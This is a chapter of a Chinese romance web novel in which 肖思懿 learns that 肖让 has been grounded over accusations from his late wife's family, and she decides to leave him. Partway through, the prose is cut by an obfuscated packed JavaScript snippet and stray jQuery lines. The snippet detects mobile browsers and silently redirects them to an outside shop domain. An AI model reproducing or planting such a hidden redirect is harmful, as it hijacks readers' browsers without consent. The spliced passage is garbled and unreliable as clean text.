68. 第六十八章
作品:《不与梨花同梦》 沈之南的电话打进来的时候,肖思懿正从超市出来,她把塑料袋并到一起,腾出右手伸进口袋里摸手机,看见是沈之南后,明显的犹豫了。超市门口人来人往,肖思懿站到墙角,接起电话。
“喂,祖母。”
沈之南没有马上回话,似乎是在酝酿,电话那头只听得见呼吸声。
肖思懿又确认一遍:祖母?”
几秒钟后,那头传来声音,听不出情绪,依旧温和。
“嗯,小懿啊。”
肖思懿太久没有听过沈之南的声音了,以至于在听见自己名字的时候,险些哭出来,但她还是强压下那股冲动,试着让自己听上去平静些,“祖母,您最近好么?”
沈之南没有回答,而是问:“你现在还在阿让那吧?”
肖思懿说:“是的。”她并不打算解释什么,她想沈之南应该是说服不了肖让,转头做她思想工作来了。
沈之南倒也没兴师问罪,“你们俩现在打算怎么办?这事闹的很大,你知道吗?”
她开门见山,肖思懿便也就直言不讳。
“我和肖让的想法是一样的。”肖思懿说:“祖母,我知道您是反对的,但是我和肖让好不容易走到今天,我们都很珍惜这段感情。虽然我确实很早就爱上他了,但是肖让并没有像网上说的那样,婚内出轨。”
她不指望能得到谅解,但也不想沈之南误会她和肖让之间早就有关系。
沈之南说:“我并不反对你们在一起,也很清楚阿让的为人。”
肖思懿没料到沈之南会这么说,一早想好的说辞完全用不上,“那祖母您……”
“小懿啊,这通电话我是先打给你的。”
“打给我的?”肖思懿不懂,但很快就反应过来,沈之南压根就没想过说服肖让,她是打算从自己这里找突破口。
沈之南不急不慢地说:“你们两个都是我一手带大的孩子,走到今时今日,祖母从来没有怪过你。我知道你们都长大了,凡事都有自己的主意,祖母做不了主了,可是这件事,若真的只涉及到你们两个人,我就不会给你打电话了。”
肖思懿听得云里雾里的,但结合先前肖让说的话,她大致猜到了,在这件事上肖让没说实话,且后果比她想象的更严重。
“祖母,您什么意思?”
“肖让被停飞调查了,你知道么?”
沈之南的声音像掷入平静湖面的一粒石子,在肖思懿心里掀起不小的涟漪。她那么信任肖让,完全不会想到他会说谎,但转念一想,也合情合理,这完全是肖让会干出来的事儿,一旦下定决心,就义无反顾。
街上行人匆匆如流水,沈之南的声音如魔咒,低沉平静却有着摧毁人心的力量,她说:原先,这事虽然在网络上闹的沸沸扬扬的,但队里并没有接到任何关于举报肖让的讯息,直到昨天下午,一位自称是肖让岳父的男人向队里举报肖让婚内出轨,更拿出三年前的一笔银行转账,说这是他的女儿当年发现肖让出轨后,肖家给的封口费。肖让当即被喊去谈话,对出轨一事矢口否认,可关于那笔所谓的封口费,他却闭口不谈。
肖思懿恍然大悟,难怪他昨天回家的时候那么憔悴。当年那笔钱确实是为了安抚向家的人,可肖思懿没想过,从另一个角度来讲,也确确实实是可以诬陷肖让出轨的有力证据。
一失足成千古恨,现在再说什么也来不及了。只怕向家父母把女儿的死都归结到肖让和自己身上,这回被人抓住把柄,肯定是要往死了整的。
沈之南的话她大概就听进去了这么多,肖思懿一心想的都是肖让现在在做什么,是不是正被一群人当犯人一样审,想到那样的画面,她的内心就忍不住自责起来,如果当时不是自己一时冲动跑来西安见他,肖让压根不会陷入这样的困境。
回去的路上,肖思懿忽然想起一年多前,曾陪林薇薇去过一次普陀山求子。结婚多年,林薇薇和老公一直没要上孩子,去医院检查,也都说夫妻俩身体上没有任何毛病。人在走投无路时,就会开始相信鬼神之说。站在南海边上,林薇薇把这一切都归结为缘分未到。人与人之间的相遇是很需要缘分的,和孩子也是一样,缘分未到时,是无论如何都求不来的。
后来,两人去找道士算了一卦。那道士说的神乎其神,说林薇薇家里的格局风水不对,因此观音菩萨才送不进来子,后来林薇薇回家后按着道士说的把家里的布局重新调整了一下,神的是,没过几个月,她就怀上了。
而当时,出于好奇,肖思懿也算了一卦。彼时,她的网店刚处于起步阶段,那道士说,她天生就是要靠名气吃饭的人,水能载舟亦能覆舟,成名会带来金钱与权力,但同时也会夺去她最珍贵的东西。
如今想来,竟一语成谶,对她来说最珍贵的,不是肖让又能是谁?
回到家后,肖思懿做了一顿丰盛的晚餐。
肖让晚上到家时,屋子里香气四溢,他看上去还是疲惫难掩,却极力对她笑着。
肖思懿把最后一道菜端上餐桌,解下围裙说,开饭。
肖让换好衣服出来,发现餐桌上多了一瓶红酒。
“喝点?”肖思懿笑着说。
肖让本想拒绝,但转念一想,自己已经被停飞,便点头应了下来。
觥筹交错,爱意流转。
肖思懿感觉自己似乎有些醉了,壮着胆子喊他名字:“肖让。”
“嗯?”他抬头望她,手中端着杯子。
“我准备回上海了。”
“什么时候回来?”肖让垂眼,饮了一口酒,只当作是平常。
肖思懿沉默,这种时候的沉默有着绝对的毁灭性。
肖让没有等来答案,又抬眼去看肖思懿,眼神开始茫然。看着肖思懿迟疑的表情,他似乎猜到什么,却没有勇气再问一遍,而是自言自语道:“也是,都来了这么久了,工作不能落下,没事,等过年的时候……”
“我不回来了,肖让。”肖思懿打断他。
肖让脸上的笑瞬间凝固,但很快就重新扯出一抹笑意,“没关系啊,今年我有假,我可以去上海找你。”
肖思懿盯着肖让,脸上没有喜悦,相反,她好像要哭了,看了一会,她实在不敢继续看他的眼睛,便别过头,却依旧没有说话。
肖让知道,这绝非可能是默认。
“小懿,我们不是说好了吗?都交给我来处理的。”
肖思懿咽下眼泪,看了眼肖让手中的高脚杯,“肖让,今天不是周末,可你喝酒了。”
肖让低下头,手指摩挲着杯子外壁,不知道如何作答。
“你要停飞多久?”肖思懿又问。
“祖母给你打电话了?”
“为什么要骗我?”
“她跟你说什么了?”
“肖让!”
“我说过我会处理好的,你不信我么?”
答非所问的对话。
肖让仰起头,将杯子里的酒一口气灌进嘴里,他酒量并不好,被酒精熏得涨红了眼,看起来像头发怒的野兽。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16877058|184511||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
肖思懿不忍心看他这样,便解释说:“我没有不相信你。”
肖让有些咄咄逼人,“那你为什么还要走?”
为什么要走?
曾经他那么用力的想推开她,肖思懿还是义无反顾的选择留在他身边。可为什么好不容易走到这一步了,她却要当个逃兵?
眼眶湿润,肖让的面庞在泪光中逐渐模糊。肖思懿紧攥着衣角,始终不敢看他,“因为我开始发现,她们说的好像都是真的。”
肖让不懂,“她们?”
“祖母,向瑶,还有你的母亲。”肖思懿抬头,泪水划过脸颊,“她们都曾告诉我,如果为了你好,就该离你远一点。从前我不信,可现在看来,她们说的好像都是真的。”
“这不是你的错。”肖让说,“若真要追究,我也有罪。”
“可我没办法心安理得的看着你这样,而我却什么都做不了。”
从她喜欢上他开始,肖让人生里的麻烦好像都是因她而起,肖思懿曾经以为真爱可抵万千山海,只要有爱,那些世俗的偏见和困难都会迎刃而解。
可事实真的如此吗?
她没办法看着肖让失去理想,失去事业。一段正常的感情不应该以牺牲某一方的前途为代价。也许肖让嘴上说不在意,可那是他最热爱的飞行事业,是他的信仰。失去信仰的英雄无异于折翼的雄鹰,这太残忍了。肖思懿无法接受在今后漫长的岁月里,要忍受愧疚的煎熬。来日方长,若是某一天两看相厌,那些曾心甘情愿的付出也会变成怨恨。
她不想和肖让走到那一步。
肖让不愿让步,坚持说:“你什么都不用做,我可以处理的。”
“怎么处理?”肖思懿说:“等待他人的审判?你我心里都很清楚,因为向瑶的死,向家父母恨透了我,现在我们又纠缠到一起,他们不会善罢甘休的。”
“那又怎样?身正不怕影子斜。”肖让盯着肖思懿,眼神里是少有的坚定,一如当初他初进部队时,对着国旗宣誓要永远报效祖国那般。
面对这样清澈的眼神,肖思懿好不容易下定的决心又开始摇摆起来,可是她同样很清楚,这件事越拖对肖让越不利,更重要的是,她很清楚,自己只会越来越不舍。
“可是我不行,肖让。”肖思懿硬着头皮,眼睛看着白墙上某个虚无的点,“如果你因为我被开除军籍,我下半辈子都会在愧疚中反复煎熬,我受不了这样的折磨,这比杀了我还难受。”
向家父母无非是把向瑶的死归结到肖思懿身上,如果她和肖让分开了,他们念在肖让是昱儿的亲生父亲,一定不会赶尽杀绝,肖思懿想。
有那么一瞬间,肖让似乎很能理解肖思懿,因为他自以为是的决定,肖思懿曾有过一段荒唐的婚姻,那段婚姻带来的伤害到现在还未完全抚平。肖让能懂她说的那种愧疚,正如他在发布会上得知肖思懿离婚真相时,那种深深的愧疚感可以瞬间瓦解他的理智,并在后来的很多年里,反反复复折磨着他。
肖让不再辩解什么,只是安静地看着肖思懿,“你决定好了吗?”
肖思懿依旧不敢与他对视,深深叹了口气,然后点点头。
肖让默默给自己倒上一满杯酒,然后一口气灌了下去,眼眶涨得愈发红,“小懿,我尊重你的决定。你要回去,我不拦你,但如果哪天你还想回来,我永远都会在这里。”
凳脚划过地板,发出刺耳的声音。肖让起身,离开了餐桌。
肖思懿望着他落寞的背影,泪流满面。

